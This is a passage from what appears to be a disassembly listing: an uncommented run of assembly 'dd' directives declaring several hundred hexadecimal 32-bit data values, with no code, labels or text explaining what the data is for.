		dd 39638C9Dh, 55637CFBh, 4BB05EF7h, 3E56BA36h, 96495401h
		dd 37052E77h, 4FCCA6A6h, 0BB93B8AAh, 51C82F3Ah,	0DC36B8AAh
		dd 1EE048BCh, 0DA28D415h, 1D88FDA6h, 81B263EBh,	0F0CD4495h
		dd 0EB1B8960h, 3BEF4F18h, 0B6B4FDCBh, 857F46A8h, 28EDEB7Ch
		dd 7BBFC0F1h, 1C53D8ADh, 0C47FF58h, 0B10981B1h,	1ED38088h
		dd 56EE0D0Ch, 2830B965h, 8C046623h, 0D7EB470Ch,	9477815h
		dd 0D44CCF7Ah, 35EDAB72h, 7BCE7607h, 31CFB451h,	6083F95h
		dd 0A388BE9Fh, 261CC38Ah, 9EA52947h, 784F9B18h,	0DA85F3A8h
		dd 99AD29F2h, 40BA9EE6h, 93090D87h, 0D52B7467h,	0CF9EC777h
		dd 38A1AE97h, 0F24CF158h, 0F872022Eh, 82F5C5A5h, 499FBB3Ah
		dd 34FB3EBh, 8947A1A2h,	5499DA0Fh, 0F93596A0h, 0E608F5B2h
		dd 89F8B543h, 96FD6300h, 0A5967419h, 0DB1DC6BAh, 0F5823372h
		dd 22D7659h, 388253h, 1FF6814Fh, 2E7B504Fh, 0AB92C453h
		dd 2A525F78h, 97034AD5h, 0C04E70CDh, 3048AD08h,	254A6E12h
		dd 0FC6A776Eh, 39AF6CDh, 2704EDFDh, 0FAE49DE9h,	0BDF8246Ch
		dd 0F799EDF0h, 0CD052825h, 4B912ABAh, 9774EB54h, 5FBF8DA1h
		dd 0F4BD0374h, 9418E7E0h, 0B361A200h, 70DD97ACh, 0EC91E73Eh
		dd 0E8BECD4Fh, 2B9295B0h, 8DE277EDh, 4844CFC7h,	591028D6h
		dd 2DD113C9h, 8BD69553h, 4AE6F92h, 0E5AD80EAh, 17786EBAh
		dd 0D468CBC1h, 6A54BCB8h, 0D9465323h, 4AC94C63h, 0A4B1C1E3h
		dd 628CF678h, 0AC6AAE20h
		dd 0E20284Fh, 88B2A163h, 0E05E0F5Ah, 757B6298h,	1302DDF5h
		dd 0B938F3D3h, 46C5BC48h, 826156F9h, 6D1621h, 8FD86782h
		dd 22535C06h, 71B21E62h, 74D3AC3Ah, 37A45CCCh, 0AE9476CFh
		dd 0EB1BBD60h, 0E16D81EBh, 39CC3B7h, 0C17CBBB1h, 0C8DE4624h
		dd 3A633BEAh, 0FA7553BFh, 2EF2202Fh, 8F6CA80Dh,	0C4933E67h
		dd 76329B31h, 0F05E8EA1h, 0D9E8D87Ch, 0F07F055Bh, 3FE9D9A1h
		dd 0A5A902D2h, 0AB1523DCh, 0E9F2EB36h, 4DA09C9Bh, 0F6EA36F0h
		dd 7AE0C590h, 5AE0596Ah, 0E7E0CA95h, 27347911h,	0E832A028h
		dd 5154BA1h, 2B7CADF7h,	0CA554366h, 0AD2B5DB5h,	347EA946h
		dd 572EE0A4h, 0FA8B16A3h, 0A4D42ACEh, 51620024h, 660510D5h
		dd 99AFDB09h, 5B47A128h, 6793CAACh, 0EA1DB083h,	30A93CFEh
		dd 735F2A5Eh, 0EA4E26E3h, 4D04176Bh, 5676A918h,	0C1DD64F5h
		dd 804F3922h, 44DD316Dh, 98C521E3h, 7115355Dh, 0B48B8DA3h
		dd 6CCC2A1Fh, 0E8B7E9E7h, 92ACA63Ah, 0F305285Ch, 0C9F0C24Fh
		dd 4C41777h, 988BB9F8h,	2EDBE388h, 6B2C5B65h, 8A733F06h
		dd 7CC2C778h, 955E57F9h, 0A4F888ABh, 10A977Ch, 0D0AF360Eh
		dd 0A2E9D2FCh, 103FA024h, 967F8984h, 9C289CE5h,	85907BF6h
		dd 83954597h, 4CEB42E4h, 0F1A4C4AFh, 0BC6CA561h, 0B8467CC2h
		dd 3421011Fh, 8FA08F7Ah, 0FFCDA71Bh, 0AF31B616h, 535DF03Dh
		dd 48598CA5h, 693F8E00h, 8EF591Dh, 17FAC3DCh, 35E9EB0Dh
		dd 45DCB07Fh, 0D47CB0C1h, 0B89B6EEh, 6506F110h,	289B27CFh
		dd 136AA203h, 850A97B8h, 25C32810h, 0F8FE36DDh,	0EA4DBF69h
		dd 0A37FC685h, 3FC1E6CAh, 804CC5FCh, 0F738965h,	0F12EC246h
		dd 0E9CD8BA1h, 26A86677h, 0C27C7E60h, 5DB18700h, 0A1A9594Eh
		dd 0EE6CF8C6h, 42D02EC4h, 676C7756h, 64DFD025h,	6637F046h
		dd 8F7EE12Dh, 0E3B9C061h, 0D882018Bh, 84D96799h, 5311695h
		dd 338786E6h, 3862E8DAh, 0A747BFABh, 9490B19Ah,	0AAF57DE8h
		dd 8E3F9C35h, 0F6C6902Ch, 3A1AB1AFh, 2468C9FEh,	1E93A028h
		dd 0AA942907h, 5AB805F2h, 0CF8BFB02h, 31DDE154h, 62AC5781h
		dd 2DE736F9h, 750470BDh, 7F8B7F25h, 20747008h, 0A30E1876h
		dd 0B3CD43FFh, 0C69A7099h, 438697D3h, 156694B4h, 0FD2A1D7Bh
		dd 0C70AF1ABh, 69C875B0h, 9325A5E1h, 0C6D5545Eh, 0C7AF063Dh
		dd 911C1D71h, 31F782D4h, 0F246E77Dh, 0DBD1F223h, 0E57FA4DEh
		dd 38659490h, 94C95FC1h, 16B9354Eh, 439FC58Bh, 0B91D8B88h
		dd 73DCF7C7h, 3505F730h, 0CD5C27BAh, 8F9D8E4Eh,	0C6CF52E5h
		dd 0A37BC3C8h, 4A2A530Eh, 4177B69Bh, 0AF7FC7CAh, 0FC8248AEh
		dd 0D813496Ah, 0CF9709DAh, 0C331D877h, 0AC06FFFDh, 1BD03687h
		dd 0FEABDC2Ah, 1AD26CD5h, 7215726Bh, 585391B7h,	751ACAD9h
		dd 4F57F0A2h, 0ECF8C2B9h, 4A6E05DCh, 0E6311436h, 21CB3D56h
		dd 0B9F5E190h, 0FD9F5C33h, 71B772ECh, 0F25F338Dh, 2C9A9AD6h
		dd 11E62500h, 0A5F13C14h, 0D159CE3Dh, 0E2D9AC47h, 0B5EDA883h
		dd 105138F6h, 266FE4Fh,	9EC5687h, 4905A5A2h, 0A7113DC1h
		dd 88791849h, 5526B5F3h, 903EB2D7h, 52E0A7AAh, 0CECFEB41h
		dd 0C6E78FB9h, 7FB7F5B8h, 0A0F1D5EEh, 6C302538h, 0A9F32547h
		dd 90DE734Eh, 4C727715h, 0EB295864h, 0E8B16F3Dh, 3D6A8B8Fh
		dd 1A2400DAh, 67ADE5AEh, 0C34BA4A0h, 78716764h,	0B3C4D857h
		dd 0EE6E0B5h, 0DCA44B40h, 64CB8CBAh, 99A5AA33h,	0A04467A0h
		dd 0E2878A7Ch, 89A6B2E1h, 6BD5B110h, 0D8705F4Dh, 0CD3AFCABh
		dd 7577ACEh, 1B431B03h,	9FB4BF0Eh, 26D9744Dh, 786761h
		dd 0FF7E7363h, 0B1FAA5C8h, 0CD623AB0h, 0DDBFDE35h, 0EEF44C68h
		dd 7B17CBDAh, 14D1AE4Ah, 416E9DC4h, 0DBDFFB11h,	2714AC2h
		dd 946C32Ah, 0CA1EEDA0h, 7F3C507Bh, 7A80002Eh, 0BBB52376h
		dd 5FD719D0h, 74A71D30h, 0B4A50A24h, 27CE3AE4h,	0A15941DAh
		dd 0D5B223A5h, 67F6E94Dh, 105EAEF6h, 0A16EE285h, 10045D74h
		dd 727BCF16h, 35374E9Dh, 284C01BFh, 1ABAA6F4h, 8C8CB813h
		dd 3DDE9010h, 7748AAFCh, 628E755Eh, 2412AB92h, 6970D93Fh
		dd 322CBE22h, 0C7E9BAAEh, 7B7C30CEh, 0DD723012h, 30C5947Bh
		dd 2ACA04D0h, 398229FEh, 0D73AC37Ah, 0AA13FE37h, 64BCB53Fh
		dd 72202960h, 0BBC9F4Bh, 0D294AAA2h, 3465725Ah,	41C4870h
		dd 0E200E0E6h, 72B37A2Bh, 2F7DD90h, 140A2237h, 0ACAC5165h
		dd 0A109B38Bh, 83E97E6Fh, 0D3DCD9A9h, 28BED071h, 8E0A5DB0h
		dd 0DC525D21h, 0D0638FCAh, 0E59C602Fh, 6381F871h, 1699641Ah
		dd 31FC0EB2h, 91B6B272h, 42385B3Ch, 66924989h, 0FB31FDABh
		dd 0F78B98BFh, 6C188292h, 628B4B9Fh, 0ED7810FFh, 7A2A8584h
		dd 8889E789h, 5EC8F161h, 64F5504Dh, 8BC2CF23h, 8C4E3B78h
		dd 2491635Ah, 0E73088A0h, 1B7E3146h, 5ED5C40Bh,	6B74D25Ah
		dd 0DBA9E58Dh, 6306B375h, 0B2362EF3h, 77624346h, 0CDBC68B1h
		dd 0FBE3E696h, 36EE2B41h, 7AC39C1Dh, 78ACF148h,	37A23E34h
		dd 98E37C68h, 0F8FCAB67h, 0A1C53724h, 9225AF9Bh, 0B8A7CBB2h
		dd 755BE447h, 7F99F062h, 6DCF7F3h, 4B1A8B41h, 779D474Fh
		dd 0FE0D2039h, 772C687h, 9E61409Bh, 99100855h, 0CBC58BAAh
		dd 77C9C3C4h, 6815B79Fh, 2DB5F890h, 0BAC03965h,	32124DBAh
		dd 9B70A65Ch, 7E72BA38h, 0B83E6871h, 2651F560h,	0EEFFA718h
		dd 0D7EC6897h, 0BF347B25h, 0BE860AD0h, 5D34C610h, 444179CCh
		dd 7B2A8CD5h, 3EAE0F7Bh, 1AC2754Ch, 0B922B44Ah,	0B8B6E542h
		dd 605F5115h, 5286B9CBh, 4CE1579Eh, 0DF27ED5Eh,	98874CFBh
		dd 87D35441h, 2DFE5AEAh, 41595D68h, 0DCC3FB89h,	286531B9h
		dd 0E454F978h, 0D9EF5623h, 0C6949827h, 4ED4B50Fh, 304C7411h
		dd 2E227C3Dh, 4AC881BBh, 36E9AC39h, 3A14FC8Eh, 0F46A04B5h
		dd 0FBEBE0B9h, 7F63DB00h, 12BA8823h, 7F96C83Dh,	43DCF20Fh
		dd 0D467E7ADh, 7648A949h, 0EA64B388h, 0D7B785C5h, 9D8CD020h
		dd 59EC49D7h, 0F586C44h, 31F4812h, 0EA048B1h, 0F0A074A0h
		dd 0EBCDB092h, 9A7B2D77h, 90976715h, 0B15B8331h, 0C5E81DD8h
		dd 4E1E18EDh, 4AD22DC6h, 0C92D7011h, 0B65B5299h, 0CDD0212Ah
		dd 73C45AEEh, 0B0168154h, 71869CE6h, 9B4A3D51h,	0B2D236FEh
		dd 0A77F4039h, 20C17F65h, 0A9AD283Dh, 772EEEFEh, 0F6A5BE43h
		dd 7DEE22C6h, 0D4E212Bh, 38E65E23h, 95FE2AE0h, 2B907203h
		dd 2D44120Ch, 0F7DDE7A4h, 2FB2F73Eh, 16386825h,	85425604h
		dd 6E114BEBh, 5B9777F8h, 8C2CF889h, 4108641h, 0A88780Fh
		dd 950BE5EEh, 0B141A653h, 0E52DCF7Ch, 56D78656h, 0DEEE1580h
		dd 6FB8209Ah, 1DC19941h, 0A272B1F8h, 0E7EA4571h, 97CAF4ABh
		dd 0A60DB4E5h, 0B2BFE5F9h, 0C3E95518h, 358B96E2h, 0C5F8B8DEh
		dd 764019BBh, 73A4A61Fh, 2FA3C4E1h, 38D6CA99h, 96018CBCh
		dd 318C4283h, 5D05263Eh, 0AF1F27A0h, 1249B83Eh,	310971A5h
		dd 25C12E28h, 0DB063DEEh, 0C91C23DEh, 0EC00F262h, 74D9F8DEh
		dd 89E4E3BBh, 0B0E0D47Ah, 0A14D2516h, 214EFBA4h, 90F9AB92h
		dd 7B7DEE7Fh, 0C7A8E926h, 228E2FC6h, 0EC8D345Fh, 0FA4EF88Ch
		dd 0D336E48h, 635A8E9Ah, 6BD4319Bh, 0E09C68C6h,	2EBA96F9h
		dd 979240F0h, 232C6816h, 0D788DF24h, 698CC50h, 0B707591h
		dd 55160EDEh, 2CFD48EDh, 0ED1D9482h, 0BF106441h, 0A8111548h
		dd 4765242Bh, 0DDA85A58h, 16266DFBh, 47C4B2ECh,	88F79CFEh
		dd 0A74BDDFCh, 2AF3069Eh, 0A9066940h, 3E148DDFh, 929FFD03h
		dd 3D01562Dh, 0F18F3E80h
		dd 119EB448h, 8DF2AC4h,	0B8EB0709h, 0DE5315AEh,	70838FE5h
		dd 17AD2AF2h, 1538877Bh, 29793D05h, 0A6A2502h, 0F05BCF5Ah
		dd 0A052D167h, 71AA905Dh, 3707BC37h, 576E731Ah,	0D5182493h
		dd 709322E4h, 7F5D1427h, 0E2F31008h, 149572CFh,	7D879479h
		dd 67A5C4C1h, 0FD647864h, 30D39ECFh, 842A58B7h,	0A3F0F6B5h
		dd 0AD1C8718h, 94094E2Eh, 8460DE98h, 0C5C3761Dh, 8CE1B6ECh
		dd 0E87B4565h, 514F46FCh, 49E7D526h, 1881A896h,	4268CF40h
		dd 1449F9FDh, 8795C537h, 5290256Bh, 7C4CFAD2h, 0F3F1A93Fh
		dd 0E1CE5120h, 81888080h, 0AFC0EDBBh, 60AB690Ah, 0D68FF961h
		dd 636E192Bh, 27A244E5h, 3E9852D6h, 0DF5C47C9h,	7AAE1A2Dh
		dd 43327B53h, 0D2CD742Dh, 32320C7Bh, 0AB0DE701h, 83320992h
		dd 0A807B447h, 0D6E3373Eh, 3675FC62h, 0D61D9D5Dh, 0EB73BE2Eh
		dd 3E5E5E3Dh, 0B6A02E30h, 74282677h, 5F884972h,	0DD067168h
		dd 0CA1807F5h, 0FE03802Eh, 0B95A496h, 0DF107C41h, 1B75F8BFh
		dd 0F08244A6h, 435AC3F7h, 1ACFACD0h, 0CD12D58Fh, 0E3A4E496h
		dd 0A26E2CE0h, 0A90EF872h, 5945FC21h, 8A00F742h, 0AD89D04h
		dd 0BF8FE0A6h, 29C036D0h, 29F7BC56h, 235C6FD3h,	0F8B60274h
		dd 0A9481DF1h, 0C21A196h, 6751BE09h, 89296A49h,	0FFA444C1h
		dd 20C3F498h, 71BCA04Bh, 62763505h, 40751F25h, 485D3B6Ch
		dd 1EFFC28Eh, 0E9B460F8h, 0F71AFBD0h, 0AB39AE2h, 9A7AB73Eh
		dd 0A8DBD3B9h, 8B2971E8h, 339B11B1h, 11A4660Dh,	0B96A8C82h
		dd 3D07AAE6h, 6F2FB755h, 0A616338Eh, 6E2B5EADh,	86BB96C5h
		dd 0ECEE5DA0h, 68F4AEE6h, 0DC6EBEBBh, 5C40C1E0h, 5D66D4B6h
		dd 9B06FDBAh, 4D5DFED2h, 6EBD1F98h, 9663BAEAh, 0D87038E1h
		dd 4BB92D29h, 36E04583h, 31EFF45Dh, 0D91892D3h,	1B2CD005h
		dd 3128A3AEh, 4F40B3D7h, 1874B02Dh, 0E8BF60B6h,	3D44D800h
		dd 2025585Eh, 2E0857CAh, 994B46FEh, 80341B65h, 0BB549256h
		dd 163F0782h, 8492A9FCh, 7EEBD90Eh, 4D1BFB55h, 8C39CD0Eh
		dd 7BAF1F47h, 497EAC3Fh, 3BF9C739h, 0CD481817h,	5B785A84h
		dd 0F4F56C91h, 78C4DD80h, 468AD3B3h, 921EAC91h,	0AE4F9359h
		dd 5A1869DAh, 9A92B903h, 3F8CD37Ah, 0E9AA1413h,	0E31C8C21h
		dd 0E178EB32h, 2DCDB215h, 0E1E80E21h, 0EB209754h, 33643728h
		dd 6DCFE742h, 0DB76DC4Dh, 6DCC6E5Eh, 81EF4620h,	0B6164D66h
		dd 0FFE754E0h, 1B7A325h, 9983CFC6h, 1DD090F0h, 73E5290Fh
		dd 0CD5AAC86h, 350D1F40h, 595AE2D5h, 6927B586h,	0A85B7B3Ch
		dd 2211A67Ch, 3E48B850h, 80BB3A1Dh, 725A1F84h, 2974FF34h
		dd 0D86C9F4Ch, 0B001C054h, 6DD96886h, 0DB0C56A9h, 14AC3C5Bh
		dd 0AC2DC035h, 9DCF893Dh, 61461B83h, 0C64CE105h, 0EA771D99h
		dd 5F120091h, 309C613h,	84BCD4EAh, 89AC3EFEh, 6FB2EFE9h
		dd 32491BA7h, 73BC410h,	0E5E727A2h, 0A4F690E4h,	49F8ABAAh
		dd 180D9BE0h, 60A808A1h, 0D694D5C8h, 0F98DF1Ah,	5DDAA890h
		dd 7E76730Bh, 9993EF00h, 863266A8h, 0A9941A90h,	23ADC929h
		dd 0B9B1DE5Eh, 0ABCCFC17h, 6F35147Fh, 492BE1EEh, 0C5AEBEFCh
		dd 7A8C678Ch, 36F1BBC2h, 1EE97CC0h, 9C7C807Fh, 0C5EB86D9h
		dd 0C058379Ch, 1C275E3Ah, 0A9C64AE1h, 13163F05h, 0DA9D06E1h
		dd 0A2861DE4h, 2FAE16EFh, 77F864BCh, 0AA245DDAh, 0DA85DA79h
		dd 5A8D343h, 30D17F2Dh,	0DB798D4Ah, 0A53D4D2Dh,	987DC90h
		dd 26C7263Dh, 8FBBD3D4h, 76F9CF2Fh, 47FD93EFh, 0B348217Dh
		dd 0B969B23Bh, 52A8B04h, 0C65C50E8h, 61C24CB0h,	5CC3355Eh
		dd 8C7F32B2h, 4A41A3C2h, 39062EF8h, 0C6E5CF33h,	21D13C04h
		dd 0D7B03070h, 0A7303749h, 0D8EB25C1h, 3DDAEBAFh, 33775845h
		dd 0DE52461Ah, 7706287Ah, 74A0868Ch, 0B060603Bh, 8CF302D6h
		dd 0A83C013Fh, 7D5EC9DAh, 0A9968E00h, 1CA4C272h, 86BEE20Ch
		dd 0F159A9F4h, 9EA083A5h, 0CD1B8024h, 2656D8D1h, 0AC0B57B9h
		dd 0CEC3021Ch, 0A6B798BDh, 622E85E1h, 10FA194h,	6A02A0F7h
		dd 5BFB1DA7h, 74963C82h, 4EF57B6Bh, 127143BCh, 0F7AD3BD4h
		dd 8BB99D19h, 1E53F9EAh, 6676542h, 0E94A4F2Fh, 0AFC015FCh
		dd 821FFF02h, 0F9C8E477h, 1206AF4Eh, 0E18D394Fh, 12DF42D1h
		dd 515FABBAh, 0D349F0C7h, 2084C55Dh, 0C62A65FDh, 9968B03Bh
		dd 971F18AAh, 86E69FADh, 58CC9C10h, 0B56CED63h,	8B4A6FB8h
		dd 8EF894C5h, 3593C1Ch,	62DD9245h, 0E0C16ED9h, 0B7428BE6h
		dd 0DEF3C6CEh, 0E25D9C9Bh, 0EDFC1590h, 4E1D2BBh, 6C544F4Eh
		dd 0EF78FB33h, 0D671B1F5h, 0A8ACC759h, 0C9BBF3FAh, 47409272h
		dd 909AE4A3h, 86415A46h, 83BFE7DCh, 6BD7205h, 0FD88B96Fh
		dd 0E5DFD38Fh, 8D85D88Bh, 0ACE937ACh, 0B89440DCh, 82E7F620h
		dd 8F7BA409h, 630D17A0h, 0AB7FA0A8h, 0B9EE22EFh, 130CEAF3h
		dd 3E99EA03h, 28DFA07Fh, 14C0E156h, 0B8F4AEB3h,	0DBADF3B1h
		dd 32547EB4h, 0ACC575F5h, 0D0F885E2h, 64DC4AC3h, 9D8F3E26h
		dd 7B5E1FEBh, 0C4A58905h, 8316EEFh, 7439D358h, 34FDD854h
		dd 0B59FDDE7h, 0E05E8EC3h, 0BFB1BAECh, 552743E9h, 0EEBD7892h
		dd 43E376E2h, 6BDFE89Eh, 10C8F37Bh, 142FEF7Ch, 6BDDAE2Ah
		dd 0A5BCDD54h, 0ECF90522h, 23192669h, 0A2A0B409h, 0DEA65FB6h
		dd 5003A887h, 2A25E0Ah,	576989A2h, 0F8F6223Ah, 0F4E4AE1Eh
		dd 9B2D2839h, 0B9DEFE44h, 0C2C3FB4Bh, 73E0DE49h, 1F15C9EAh
		dd 76E7732Ch, 24852592h, 0C6656200h, 0E96568D9h, 0CDC5B5FEh
		dd 0A7D71C52h, 0C1AA1F66h, 2EC103D3h, 81B0AA08h, 4380CA90h
		dd 8DC84E63h, 6659FF03h, 5E0BC836h, 0B2802970h,	0E8D6A37h
		dd 1285409Fh, 5E4D7710h, 73EA309Ch, 0DE9343DAh,	0DF00FDAh
		dd 0B7718688h, 0B22C2E74h, 52DCB558h, 9404F42Eh, 0AA84DD6Ah
		dd 54C1FDC2h, 45EABACCh, 7B7FE427h, 69776650h, 0E5333D8Ch
		dd 642DBE2Fh, 0CF0E7FE4h, 86A3A1D3h, 9C1D516Ch,	1B2083ADh
		dd 36CFEA18h, 0FE56E28Dh, 0CB13036Bh, 0F0F10BB8h, 0CDD1B50Fh
		dd 0B77DD105h, 25B4B109h, 877A8B35h, 3E2B0CECh,	0ACE681FBh
		dd 0E75115F7h, 65944704h, 68ED43Fh, 40032E59h, 0B78D9FF1h
		dd 0FFE487A3h, 296E6167h, 0EE19DA0Eh, 0BECB233Bh, 0EE438CB6h
		dd 77DB9219h, 29D469DCh, 0CE28951h, 46F26B14h, 0A6DC9C39h
		dd 0E0553562h, 0ABCECE7Fh, 0CA8F1695h, 93D31B17h, 1C698958h
		dd 4653BCB9h, 18BBEFBEh, 10EADD18h, 28BA711Fh, 0D2F8E262h
		dd 0C03D9875h, 84FF572Ch, 0F85F6E8Bh, 692ADC7Fh, 9759DCB0h
		dd 0E8AAAF21h, 0B81037D3h, 6B4D19BAh, 9CA04FA8h, 345EC741h
		dd 9015141Ch, 0E7531BD5h, 19266960h, 6BD6B146h,	12F3708Ah
		dd 0FB2F6DFBh, 118F4660h, 2083F93Fh, 0CEECF555h, 0D9F1EFA9h
		dd 0C23E28CBh, 5C43ADA3h, 0CC6016A0h, 31DE4CAAh, 0CBD2C192h
		dd 0E082C3BFh, 0D06CCEC1h, 24FE4B27h, 54F63Dh, 0C12694B1h
		dd 0D443F405h, 0B0DFD98Fh, 0F63290ACh, 0A21E81F1h, 3FB9798Bh
		dd 0CE3DEC55h, 722D5CBAh, 6705E74Ah, 0CA28F8CAh, 553093F5h
		dd 578308D7h, 0A49DB9C6h, 0F01B4489h, 7AABEC5h,	1CC3549Bh
		dd 2CB0C079h, 9BEA1087h, 0D58EE55Fh, 0ABA6D25Fh, 21EEA0E6h
		dd 475617AAh, 0D3F7F5FAh, 40CC0605h, 67BB03B1h,	2DB47C11h
		dd 0D1D0F42h, 0C40A9461h, 38970021h, 0FC2D792Bh, 0E532D639h
		dd 323CD36Fh, 9414F9D5h, 20E6A797h, 0EDA75C5Ah,	0AC87963Ah
		dd 63742984h, 0DD993AC8h, 0B37B027Dh, 0F58F61A5h, 952C18E6h
		dd 20A1C3C7h, 78303D6Fh
		dd 0DB66C289h, 0C9CE7D2Dh, 0F49273E2h, 0E8D0CE7Bh, 6082D20Fh
		dd 4554AF87h, 218000FEh, 3F08E3A0h, 0C1BB7900h,	6EBDE53h
		dd 0BAB5CB33h, 6BEF82DCh, 0FF131398h, 0BBEB85CCh, 74AAC0D3h
		dd 438D076Dh, 945CE5CAh, 56438A06h, 0AE435062h,	0FA00B907h
		dd 0E3B1B828h, 65E2C93Ch, 3FA32287h, 5577EFFCh,	0F4B6F744h
		dd 93C8E672h, 159FF6F3h, 38A14A34h, 879BD820h, 8481E58Dh
		dd 264B0AD5h, 91286100h, 0CC6B98ABh, 0D3366119h, 242194FEh
		dd 0C64DCA1Fh, 0BE1B439Eh, 93925115h, 1081C681h, 0B9AF3B20h
		dd 40048773h, 0BDEE5D7Ch, 3DF245A7h, 0CACFAC04h, 0ED86146Bh
		dd 968EB07Fh, 0D493890Dh, 78F3B9D3h, 0F7333203h, 6687DADCh
		dd 2E24D805h, 0C80C90E2h, 5A3F6E87h, 89A058ECh,	0DE777F00h
		dd 3EA93FD7h, 50D56765h, 97553F1Bh, 90C7DC7Eh, 0F3496A4Bh
		dd 0CE9A1155h, 70BFA639h, 5443EDBBh, 431D7DB5h,	7B1CCBECh
		dd 0CF53E3AAh, 33013A6h, 49AF21B4h, 2EDDD2C9h, 70210D82h
		dd 0E669660Dh, 0CA31A5CBh, 0BB2B3E23h, 910259D7h, 0BB08ECF3h
		dd 82E9143Dh, 3B705A17h, 92EBF528h, 0F0B46A5Eh,	14FC6E4Eh
		dd 38B62F38h, 48277738h, 8B1FB0Ah, 343DC666h, 28E05AE5h
		dd 7CDC4197h, 0B7AF4D86h, 479A2B7Eh, 4AB04EAh, 0BEF72272h
		dd 61AC5122h, 696C7622h, 628F06B1h, 62E04547h, 0C5A63A73h
		dd 0C63FA22Fh, 0B54DD52Ch, 0DC13B704h, 1389A598h, 6DAAF858h
		dd 0D20CFBDCh, 0C465003h, 0F9541AD1h, 570477Eh,	42256E3Ah
		dd 480F5ABBh, 3FB46950h, 5C9D5ED3h, 0F8372F48h,	0D8FAC939h
		dd 0F5F6F81Dh, 0B65E9524h, 0D53B7C81h, 6CB48239h, 4417939Eh
		dd 3E57E3h, 8E87B145h, 0EE406072h, 5D2FC494h, 19F1C54Ah
		dd 0D665DD60h, 0E355D838h, 4E6327DEh, 0A0977665h, 1042300Eh
		dd 0E476C3B1h, 3C50EAA6h, 0A0DC9C1Eh, 0CD59DF07h, 187916BAh
		dd 1976907Eh, 0C831D4CBh, 6129647h, 0B4357A4Fh,	0C0F7E3AEh
		dd 11D5EC75h, 71BDEE24h, 0BC957BC1h, 24709ECDh,	0CDED1FE8h
		dd 8CF1E9E2h, 0B29FAD75h, 8F1F811Bh, 17919D85h,	8CF00B7Ch
		dd 988B7BC5h, 0A137E990h, 0FC27E88Bh, 2052B831h, 1ACE9A3Bh
		dd 85E82ACh, 99B400D8h,	34FF7552h, 0A47088C6h, 30EAFD00h
		dd 0D6E19562h, 2A35508Dh, 883AE776h, 29AB3294h,	91EB07AEh
		dd 428238C9h, 0EB7918BDh, 60073D27h, 18DFE2C1h,	3C9285C2h
		dd 9D3AFE8Eh, 8EC85F79h, 44DCA0E4h, 2DE9D542h, 9E7580CBh
		dd 1E6A42A2h, 3A282D76h, 24D4BD05h, 0CBF9A8DDh,	0E1A57A1Dh
		dd 0E5B7F014h, 96D0AE2Ah, 1B2AA325h, 0D7B9AE2Ch, 3B7F1311h
		dd 0D582E32Dh, 0CED55585h, 3E69758h, 81B94E6Eh,	3F5E00E7h
		dd 0BAB51A38h, 70A1DE46h, 9EC9CE66h, 0F683CD8h,	5582AD97h
		dd 0C6E16B45h, 64C71FEAh, 11F07B57h, 0C80121FDh, 32388CA1h
		dd 2EBCE58Eh, 1780292Fh, 58C98B84h, 5DCE0BF3h, 0A94D3F50h
		dd 264ECC79h, 0F553EB76h, 0EE95C03Eh, 0FD201517h, 2BF36C0Ah
		dd 4D79B376h, 0C8016D9Ch, 0FF1C8356h, 45CB892Dh, 6F8F7765h
		dd 580359BDh, 0CAB5ED53h, 2B53D2B1h, 32248045h,	9AFCDE12h
		dd 3E5C3E8Bh, 6020F333h, 0E3DF5C96h, 44FA22DCh,	0DA196302h
		dd 0E9084A63h, 689B09A4h, 76CBBCC3h, 57114CCDh,	0E181AFDBh
		dd 9C65BDC1h, 47FADBCFh, 3589780h, 1CE74E57h, 27296ACCh
		dd 5F2BB2CAh, 5903D10h,	7CA3C08Ah, 3FBC85EDh, 34C7EE21h
		dd 98202600h, 8C238957h, 0CE0ABAADh, 418BCED6h,	26EE6378h
		dd 0D12E0D23h, 0A13E7760h, 28D8E2B6h, 0CF091F8Fh, 919023A3h
		dd 0D2EBF586h, 0E20FCFFBh, 4B16BFEDh, 99C3B6BCh, 0E540379Ch
		dd 1B467B4Bh, 0AADEFD27h, 0E4759189h, 0B6061B8Ch, 1E921A34h
		dd 99069435h, 3AB94BC3h, 0DB42785Bh, 56DB7173h,	4B7BD924h
		dd 2DB5A482h, 0C42DB2D2h, 92F3C742h, 54C97459h,	93919EEBh
		dd 0D4872551h, 5C2A41A1h, 681955DAh, 7E4E49A5h,	15B6C64Dh
		dd 68FE9B23h, 0CF00355Ch, 5480A00Ah, 8E5F33C3h,	5927251Ch
		dd 298C898Dh, 37C3D154h, 9B1F83F9h, 39672E89h, 36B37339h
		dd 628C775Eh, 2EF8698Eh, 0E501CFFh, 27D826E0h, 54CA2CDFh
		dd 351704Ch, 0F2919109h, 4DAB7B40h, 7EBAA391h, 4686D555h
		dd 60DD80A4h, 670A3566h, 0A41FB4FDh, 0FEE3B79Ch, 1286FB67h
		dd 5C996875h, 0F5B5C76Fh, 45B0B6BDh, 28421981h,	0E0004476h
		dd 0E38EBC0Eh, 7C5A0C9Ch, 5016CC86h, 95307D3Ah,	33164190h
		dd 0D14AE57Ah, 0F223B1A0h, 5426DD72h, 929107AEh, 0F95F4E9Ah
		dd 4DB4E3D2h, 4C153E1h,	0C42C19B1h, 623578D0h, 0CD4E3143h
		dd 5FE37B90h, 3CE70EF6h, 2A6A17Eh, 0BAE650D3h, 86AF7547h
		dd 6E840F06h, 54F45A34h, 0B889ED84h, 90F56A9Bh,	0A03B37B2h
		dd 6041B247h, 0C3C72C9Ah, 5FE0939Dh, 6777F842h,	718CB62h
		dd 0F1F28F27h, 62802C74h, 627BD60Bh, 0BB0C4050h, 8DD783Eh
		dd 0D5FF265Ch, 553C887Fh, 2ADB1525h, 8790F589h,	0C4155F4Ch
		dd 0D4D808BDh, 0E604BE9h, 97D84A84h, 1C02C99Dh,	13777D73h
		dd 0BC2BC296h, 0E1514476h, 1CDF2BCh, 0EA06EB5Fh, 0B4338BC4h
		dd 2B55B511h, 1FC8B8A9h, 0C8C3190Ah, 6F9BB2A8h,	3EF540F4h
		dd 0F37FE4F8h, 9415B2B2h, 0E0F1565h, 0CB7409E4h, 642DC2FCh
		dd 0F807FC0Dh, 8B788C3Bh, 0F6A7C10Eh, 53083892h, 0E975F2D7h
		dd 818024Eh, 28D9AC8Ah,	0BBCE3244h, 96324036h, 307F7593h
		dd 0BB186992h, 79593A4h, 0EACF381Dh, 9BE41007h,	5C6E291Eh
		dd 73071E10h, 0C4963022h, 33164BAh, 0CA3055Dh, 20821564h
		dd 874BA94Ah, 47D5E62h,	176824Ah, 92225296h, 18745FA7h
		dd 69A18B87h, 47959913h, 34F8BC61h, 10C988F6h, 7368469h
		dd 0FE2E7DC0h, 0C98C5186h, 0A1CB6BEBh, 0AFA927CBh, 5991C8Eh
